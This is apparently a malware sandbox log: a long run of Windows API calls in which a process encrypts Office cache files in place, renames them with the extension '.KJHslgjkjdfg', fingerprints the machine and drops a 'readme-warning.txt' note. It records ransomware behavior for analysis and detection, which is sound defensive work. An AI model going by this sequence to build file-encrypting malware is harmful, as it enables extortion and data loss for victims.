ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.238] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.241] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.242] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.242] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.246] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.249] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.249] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.250] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.250] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.250] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.250] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.250] SetEndOfFile (hFile=0x124) returned 1 [0155.254] GetProcessHeap () returned 0x990000 [0155.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.255] GetProcessHeap () returned 0x990000 [0155.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.255] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.kjhslgjkjdfg")) returned 1 [0155.337] CloseHandle (hObject=0x124) returned 1 [0155.337] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0155.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.338] GetProcessHeap () returned 0x990000 [0155.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.338] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.338] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.338] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x1, lpOverlapped=0x0) returned 1 [0155.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.425] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.425] GetProcessHeap () returned 0x990000 [0155.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.425] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.425] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.425] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.425] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.425] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.426] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.426] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.426] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.427] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.427] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.427] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x4cf, lpOverlapped=0x0) returned 1 [0155.427] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x4d0) returned 1 [0155.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.427] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x4d0, lpOverlapped=0x0) returned 1 [0155.427] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.427] SetEndOfFile (hFile=0x124) returned 1 [0155.428] GetProcessHeap () returned 0x990000 [0155.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.428] GetProcessHeap () returned 0x990000 [0155.429] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.429] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0155.440] CloseHandle (hObject=0x124) returned 1 [0155.440] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0155.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.440] GetProcessHeap () returned 0x990000 [0155.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.441] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.441] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.441] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.445] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.445] GetProcessHeap () returned 0x990000 [0155.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.445] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0155.445] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.445] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0155.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.445] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.445] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.445] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.446] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x73c, lpOverlapped=0x0) returned 1 [0155.446] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x740, dwBufLen=0x740 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x740) returned 1 [0155.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.446] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x740, lpOverlapped=0x0) returned 1 [0155.446] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.446] SetEndOfFile (hFile=0x124) returned 1 [0155.449] GetProcessHeap () returned 0x990000 [0155.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.449] GetProcessHeap () returned 0x990000 [0155.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.449] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0155.452] CloseHandle (hObject=0x124) returned 1 [0155.452] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0155.452] GetProcessHeap () returned 0x990000 [0155.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.452] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0155.452] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.452] GetProcessHeap () returned 0x990000 [0155.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0155.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.452] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0155.452] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.452] GetProcessHeap () returned 0x990000 [0155.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0155.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.453] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0155.453] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.453] GetProcessHeap () returned 0x990000 [0155.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0155.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.453] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0155.453] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.453] GetProcessHeap () returned 0x990000 [0155.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.453] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0155.453] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.453] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0155.453] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0155.453] RegCloseKey (hKey=0x124) returned 0x0 [0155.453] GetProcessHeap () returned 0x990000 [0155.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0155.454] GetProcessHeap () returned 0x990000 [0155.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.454] GetProcessHeap () returned 0x990000 [0155.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.454] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.454] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0155.454] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.454] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0155.454] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.454] GetProcessHeap () returned 0x990000 [0155.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.454] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0155.454] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0155.455] GetProcessHeap () returned 0x990000 [0155.455] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0155.455] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0155.455] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.455] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0155.456] CloseHandle (hObject=0x124) returned 1 [0155.457] GetProcessHeap () returned 0x990000 [0155.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0155.457] GetProcessHeap () returned 0x990000 [0155.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0155.457] GetProcessHeap () returned 0x990000 [0155.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0155.457] GetProcessHeap () returned 0x990000 [0155.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.457] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0155.457] GetProcessHeap () returned 0x990000 [0155.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0155.458] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0155.458] GetProcessHeap () returned 0x990000 [0155.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0155.458] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.459] GetProcessHeap () returned 0x990000 [0155.459] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.459] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 